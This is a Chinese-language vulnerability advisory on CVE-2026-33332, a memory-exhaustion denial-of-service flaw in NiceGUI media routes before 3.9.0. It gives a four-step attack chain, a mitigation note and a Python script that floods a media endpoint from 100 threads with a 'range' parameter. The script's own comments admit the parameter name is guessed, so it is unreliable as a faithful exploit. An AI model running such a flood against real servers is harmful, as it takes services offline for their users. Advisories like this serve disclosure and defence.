IPBUF安全漏洞报告
English
CVE-2026-33332 CVSS 7.5 高危

CVE-2026-33332 NiceGUI媒体流拒绝服务漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33332
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NiceGUI

相关标签

拒绝服务DoSNiceGUI内存耗尽参数验证缺失

漏洞概述

NiceGUI 在 3.9.0 版本之前的媒体路由处理中存在安全漏洞。攻击者可通过控制查询参数,绕过分块流式传输机制,强制服务器将大文件一次性加载进内存。通过并发请求,可导致内存耗尽及服务拒绝。

技术细节

该漏洞源于 NiceGUI 的 `app.add_media_file()` 和 `app.add_media_files()` 函数未正确验证用户输入。攻击者可操纵特定的查询参数,该参数直接传递给底层的范围响应实现。由于缺乏验证,攻击者可以干扰正常的流式传输逻辑,禁用分块传输,迫使服务器为每个请求在内存中完全加载大媒体文件。配合高并发请求,攻击者可迅速耗尽系统可用内存资源,导致服务器性能严重下降或崩溃,从而实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
识别运行 NiceGUI < 3.9.0 的目标服务器,并确定媒体文件访问端点。
STEP 2
探测
向媒体路由端点发送请求,测试是否支持用户控制的查询参数,并观察响应行为。
STEP 3
利用
发送带有恶意构造的查询参数的请求,绕过分块流式传输机制,强制服务器将整个文件加载至内存。
STEP 4
拒绝服务
并发发送大量此类请求,耗尽服务器内存资源,导致服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import threading # CVE-2026-33332 PoC: NiceGUI DoS via Media File Streaming # This script sends concurrent requests with manipulated query parameters # to force the server to load entire files into memory. TARGET_URL = "http://target-nicegui-app:8000/media/large_video.mp4" def exploit(): while True: try: # Send request with a parameter that attempts to bypass chunked streaming # The specific parameter name implies range manipulation payload = {'range': '0-999999999'} requests.get(TARGET_URL, params=payload, timeout=5) except requests.RequestException: pass # Launch multiple threads to simulate concurrent attack threads = [] for i in range(100): t = threading.Thread(target=exploit) t.daemon = True t.start() threads.append(t) for t in threads: t.join()

影响范围

NiceGUI < 3.9.0

防御指南

临时缓解措施
建议在未升级前,通过反向代理实施速率限制,限制对媒体文件路由的并发连接数,并严格验证或过滤传入的查询参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表